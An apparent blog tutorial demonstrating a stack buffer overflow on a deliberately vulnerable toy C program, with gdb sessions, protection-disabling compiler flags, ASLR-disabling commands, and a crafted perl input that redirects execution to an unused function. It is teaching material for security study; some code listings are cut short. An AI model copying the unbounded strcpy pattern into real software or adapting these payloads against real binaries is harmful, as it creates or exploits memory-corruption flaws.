A Simple Demonstration of Buffer Overflow Vulnerability

Introduction : 

"In computer security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent  memory locations."   -- wikipedia

Buffer Overflow is a condition where the data transferred to a particular buffer, exceeds the storage capacity of the allocated buffer and some of the data "overflows" into another buffer and corrupts that buffer's data. It is a common software coding mistake. Generally a buffer overflow vulnerability can be lead to program crash or it can be also used to execute arbitrary code in the system.

Prerequisites :

i am assuming you are familiar with linux command line, gcc, gdb and basic C programming. Here a diagram of how a process layout in computer memory.

Image Source : http://static.duartes.org/img/blogPosts/linuxClassicAddressSpaceLayout.png

for more detail on Process layout visit link : http://duartes.org/g......rogram-in-memory/

You also need to understand how stack-frame is build when a function is called and destroyed when function returns. for details check out the link : http://www.csee.umbc.edu/~c.....stack.shtml

Some Important Registers :
ESP (Extended Stack Pointer) : Points to the Top of the stack.
EBP (Extended Base Pointer)  : Points to the Bottom or Base of the stack.
EIP  (Instruction Pointer) : It holds the address of the next CPU instruction to be executed.

Demonstration  :

This is our demo code :
1:   // bof.c   
2:   #include <stdio.h>   
3:   int main(int argc, char *argv[]) {   
4:     char buffer[512];   
5:     if(argc &lt; 2) exit(0);   
6:     strcpy(buffer, argv[1]);   
7:     printf("%s\n", buffer);   
8:     return 0;   
9:   }   
In above code the strcpy() function in line 6 is vulnerable to buffer overflow, because it copies the given data into the destination buffer without bound checking. Now compile the above code with following arguments
 gcc -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -o bof1 bof1.c -ggdb  

the above arguments are disable the modern security schemes, 'mpreferred-stack-boundary=2' sets the stack boundary to 4 byte, '-z execstack' disable the non-executable stack and 'fno-stack-protector' disable stack protection. For this demo i am using a lubuntu 14.04 i386 desktop, so i need to disable ASLR protection. To disable ASLR type following command on terminal
 sudo su  
 echo 0 > /proc/sys/kernel/Randomize_va_space  
and if you want to re-enable it then type
 echo 2 > /proc/sys/kernel/Randomize_va_space  
To check weather it is disable or not, use the following command 
 cat /proc/self/maps  
run the above command at least two times, the output of the above command will be

if ASLR is disabled then the address values for stack will remain same each time.Now lets try to run our compiled binary
 ajay@SecLab2:~$ ./bof hello  
the program will gracefully exit. Our code allocates 512 bytes for buffer array. So lets try with 512 bytes of characters
 ajay@SecLab2:~$ ./bof `perl -e 'print "\x41"x512'`  
 ajay@SecLab2:~$ ulimit -c unlimited
 ajay@SecLab2:~$ ./bof `perl -e 'print "\x41"x520'`
 Segmentation fault (core dumped)
 ajay@SecLab2:~$ gdb -q -c core
 [New LWP 4697]
 Program terminated with signal SIGSEGV, Segmentation fault.
 #0  0x41414141 in ?? ()
 (gdb) bt
 #0  0x41414141 in ?? ()
 #1  0x00000000 in ?? ()
 (gdb) i r eip
 eip            0x41414141 0x41414141
When we increase the size of our input by 8 bytes, the Eip register will overwritten by "\x41414141" which is nothing but 'AAAA'. At above ' ulimit -c unlimited ' command is used to get the core dump. Now lets examine our program bof with gdb. First start gdb and set the breakpoint at strcpy() function
 ajay@SecLab2:~$ gdb -q bof  
 Reading symbols from bof...done.  
 (gdb) list 1  
 1    // bof.c  
 2    #include <stdio.h>
 3    int main(int argc, char *argv[]) {  
 4        char buffer[512];  
 5        if(argc < 2) exit(0);  
 6        strcpy(buffer, argv[1]);  
 7        printf("%s\n", buffer);  
 8        return 0;  
 9    }  
 (gdb) break 6  
 Breakpoint 1 at 0x8048498: file bof.c, line 6.  
 (gdb) run `perl -e 'print "\x41"x512'`  
 Starting program: /home/ajay/bof `perl -e 'print "\x41"x512'`  
 Breakpoint 1, main (argc=2, argv=0xbffff034) at bof.c:6  
 6        strcpy(buffer, argv[1]);  
 (gdb) x &buffer  
 0xbfffed98:    0xb7fff000  
 (gdb) x/8xw $esp  
 0xbfffed90:    0x00000001    0xb7fd9858    0xb7fff000    0xb7fe8b9b  
 0xbfffeda0:    0xb7ffe000    0x00001000    0x00000001    0xb7fe8b5c
 (gdb) p/x &buffer
 $6 = 0xbfffed98
 (gdb) x/xw buffer
 0xbfffed98: 0xb7fff000
 (gdb) x/xw $esp+8
 0xbfffed98: 0xb7fff000
at this point the buffer array will hold garbage values '0x00020f30'. Lets look at rest of stack frame
 (gdb) x/8xw $esp + 8 + 512
   0xbfffef98: 0x00000000 0xb7e32af3 0x00000002 0xbffff034
   0xbfffefa8: 0xbffff040 0xb7feccca 0x00000002 0xbffff034
 (gdb) x/8xw $ebp
   0xbfffef98: 0x00000000 0xb7e32af3 0x00000002 0xbffff034
   0xbfffefa8: 0xbffff040 0xb7feccca 0x00000002 0xbffff034
 (gdb) disas 0xb7e32af3  
 Dump of assembler code for function __libc_start_main:  
   0xb7e32a00 <+0>:    push  %ebp  
   0xb7e32a01 <+1>:    push  %edi  
   0xb7e32a02 <+2>:    push  %esi  
   0xb7e32a03 <+3>:    push  %ebx  
   0xb7e32a04 <+4>:    call  0xb7f3f7db <__x86.get_pc_thunk.bx>  
   0xb7e32a09 <+9>:    add  $0x1915f7,%ebx  
   0xb7e32bae <+430>:    mov  %edx,0x4(%esp)  
   0xb7e32bb2 <+434>:    lea  -0x4b144(%ebx),%edx  
   0xb7e32bb8 <+440>:    mov  %edx,(%esp)  
   0xb7e32bbb <+443>:    call  *0x1a4(%eax)  
   0xb7e32bc1 <+449>:    jmp  0xb7e32a69 <__libc_start_main+105>  
 End of assembler dump.  
 (gdb) next  
  7        printf("%s\n", buffer);  
 (gdb) x/8xw $esp  
   0xbfffed90:    0xbfffed98    0xbffff20e    0x41414141    0x41414141  
   0xbfffeda0:    0x41414141    0x41414141    0x41414141    0x41414141  
 (gdb) x/8xw $esp+512  
   0xbfffef90:    0x41414141    0x41414141    0x00000000    0xb7e32af3  
   0xbfffefa0:    0x00000002    0xbffff034    0xbffff040    0xb7feccca  
 (gdb) continue  
 [Inferior 1 (process 4672) exited normally]  

At this point the current stack is look like this :

as we know ebp or base pointer points to the base of the current stack, at ebp+4 there is an address of _libc _start_main function which is nothing but the return address from the current stack. With 520 bytes of input string we are able to overwrite the return address, where last 4 bytes will be land on the return address. lets try it
 (gdb) run `perl -e 'print "\x41"x516 . "\x42"x4'`  
 The program being debugged has been started already.  
 Start it from the beginning? (y or n) y  
 Starting program: /home/ajay/bof `perl -e 'print "\x41"x516 . "\x42"x4'`  
 Breakpoint 1, main (argc=2, argv=0xbffff034) at bof.c:6  
 6        strcpy(buffer, argv[1]);  
 (gdb) next  
 7        printf("%s\n", buffer);  
 (gdb) x/8xw $esp+512  
 0xbfffef90:    0x41414141    0x41414141    0x41414141    0x42424242  
 0xbfffefa0:    0x00000000    0xbffff034    0xbffff040    0xb7feccca  
 (gdb) x/8xw $ebp  
 0xbfffef98:    0x41414141    0x42424242    0x00000000    0xbffff034  
 0xbfffefa8:    0xbffff040    0xb7feccca    0x00000002    0xbffff034  
 (gdb) continue  
 Program received signal SIGSEGV, Segmentation fault.  
 0x42424242 in ?? ()  
 (gdb) bt  
 #0 0x42424242 in ?? ()  
 #1 0x00000000 in ?? ()  
Now we are able to control the flow of execution by overwriting the return address with our provided value. Here is the modified version of bof.c to test this scenario
 // bof.c  
 #include <stdio.h>  
 void NeverExecute(void) {  
     printf("This function Should never Execute.\n");  
 int main(int argc, char *argv[]) {  
     char buffer[512];  
     if(argc < 2) exit(0);  
     strcpy(buffer, argv[1]);  
     printf("%s\n", buffer);  
     return 0;  
At above program NeverExecute() function will be never called by main function. So if we overwrite the return address with the address of NeverExecute() then we are able redirect the execution flow to NeverExecute()
 ajay@SecLab2:~$ gdb -q bof  
 Reading symbols from bof...done.  
 (gdb) disas NeverExecute  
 Dump of assembler code for function NeverExecute:  
   0x0804847d <+0>:    push  %ebp  
   0x0804847e <+1>:    mov  %esp,%ebp  
   0x08048480 <+3>:    sub  $0x4,%esp  
   0x08048483 <+6>:    movl  $0x8048580,(%esp)  
   0x0804848a <+13>:    call  0x8048340 <puts@plt>  
   0x0804848f <+18>:    movl  $0x0,(%esp)  
   0x08048496 <+25>:    call  0x8048360 <exit@plt>  
 End of assembler dump.  
the address of NeverExecute() is 0x0804847d, and remember we need to write the address in reverse order, because i386 supports little-endian byte-order.
 ajay@SecLab2:~$ ./bof `perl -e 'print "\x41"x516 . "\x7d\x84\x04\x08"'`  
 This function Should never Execute.  
 ajay@SecLab2:~$ echo $?  
 We have successfully overwrite the return address with address of NeverExecute(). instead of executing default program instruction we can also inject and execute our own code. This is the very basic example of stack buffer overflow. In the next post we will look at how to inject and execute shellcode into the programs buffer.